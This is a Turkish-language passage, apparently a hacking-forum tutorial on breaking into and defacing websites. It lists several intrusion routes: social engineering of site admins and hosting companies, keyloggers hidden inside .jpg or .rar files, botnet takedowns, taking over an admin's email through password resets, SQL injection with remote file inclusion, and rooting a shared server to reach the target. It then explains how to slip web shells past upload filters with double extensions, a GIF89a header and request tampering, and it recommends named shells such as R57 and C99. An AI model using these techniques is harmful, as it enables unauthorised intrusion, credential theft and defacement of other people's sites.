- Site yöneticisine ile temasa geçip sosyal mühendislik ile şifreleri alabilir yada yardım amaçlı gönderdiğimiz bir .jpg veya .rar dosyasının içine logger gömebilir sonra şifreleri çalabiliriz.
-Eğer kaliteli ve güçlü bir botnet ağımız varsa hedef sitemizi yavaşlatır hatta çökertebiliriz. BotNet büyük bir alanı kapsadığı için anlatmayacağım.
- Admin bilgilerini bulduk ama admin paneline erişemiyoruz adminin e-posta adresine giriş yapmayı deneriz %95 giriş yapacaktır hosting firmasınada aynı e-posta adresi ile kayıt olduğu için şifremi unuttum vb. sıfırlama linkleri göndererek şifreleri yeniler ve hosting hesabına giriş yapar ftp bilgilerini ve hosting bilgilerini isteyebiliriz böylece ftp girip index atma imkanımız olur.
- ISS açığından yararlanırız bu açık en kolay bulunan açıktır %30 olarak raslanan bir açıktır.
- Sql Injection mysql version öğrendikten sonra sitemizin yetki olan bir bölümüne uzaktan RFI dosyamızı yükleyebiliriz.
*****- Bu bölümler genelde images/ veya upload/images bölümlerine shellimizi upload ederiz ve admin panelinden girmeye gerek kalmadan dosya yaratarak shell yükleyebiliriz.
- Hedef sitemizde bir açık bulamadık sitemizi who.is çekerek ip adresini buluruz ip adresi üzerinden serverda bulunan sitelerin listesine ulaşabilir sitelerden birine shell soktuktan sonra serverı rootlar ve hedef sitemizin dosyalarına erişiriz.
- Son çare olarak hosting sahibi ile iletişime geçer sosyal mühendislik ile güvenilirlik kazanır ve beleş bir host alırsak shellimizi upload eder permissonlar açıksa hedef sitemizin dosyasına girer ve indexi basarız.


Shell upload ederken .php dosya yükleyemiyorsak shellimizin ismini örnek sprit.php.jpg şeklinde upload edebilirsiniz.
Webmasterımız upload sayfasını kodlarken kullandığı kodlardan shelli yüklemeyi geçersiz sayabilir GIF89;a koduyla .php dosyamızı resim formatında gösterebiliriz.
Firefox’un Tamper Data eklentisi ile shell yüklemeyi kolaylaştırıp shellimizin hangi adrese gittiğini bulabiliriz GIF89;a kodunu koyduktan sonra shellimizi upload ederken server yemiyorsa Tamper Data kullanarak shell ismini sprit.php.jpgden sprit.php olarak değiştirebiliriz.
İletişimde kullanılan resim eki ile gönderme gibi sayfalar için idealdir.

Popüler Shell Türleri; [Buradan Cw Shell Merkezi Konusuna Gidebilirsiniz]

1.R57 ( Backconnect olmak önemli dosyaları okumak bypass etmek için kullanılan üst düzey bir shelldir. )
2.C99 ( Basit bir shell olarak yeni başlayanlar için kullanılabilir.)
3.C100 ( C99 ile aynı düzeyde olan bir shelldir bazı sunucular C99 çalıştırmadığı için C100 kullandığım olmuştur.)
4.Zehir ASP Shell Windows Sunucularda Php tam yetki ile çalışmadığı için kullanılan bir shelldir.